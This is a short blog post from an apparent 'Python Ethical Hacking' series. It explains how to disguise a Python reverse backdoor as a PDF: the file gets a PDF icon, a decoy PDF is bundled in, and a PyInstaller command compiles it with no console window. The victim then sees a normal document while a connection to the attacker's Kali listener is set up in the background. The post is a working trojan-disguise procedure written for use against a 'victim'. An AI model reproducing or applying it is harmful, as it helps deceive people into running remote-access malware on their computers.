Python Ethical Hacking - TROJANS Analysis(4)

Adding Icons to Generated Executables

Prepare a proper icon file.

https://www.iconfinder.com/

 

 

 

Convert the downloaded png file to an icon file.

https://www.easyicon.net/language.en/covert/

 

 

 

Convert the Python program to Windows executable -  adding the "--icon" arguments this time.

wine /root/.wine/drive_c/Program\ Files\ \(x86\)/Python37-32/Scripts/pyinstaller.exe --add-data "/root/Downloads/sample.pdf;." --onefile --noconsole --icon /root/Downloads/pdf.ico reverse_backdoor.py 

 

 

 Download to the Victim Windows PC.

 

Run the lister on Kali Linux, and run the reverse_backdoor.exe file on the victim PC. The user can only see a normal pdf file, but the communication has been established background.

 

 

 

posted @ 2019-10-13 16:40  晨风_Eric  阅读(107)  评论(0编辑  收藏  举报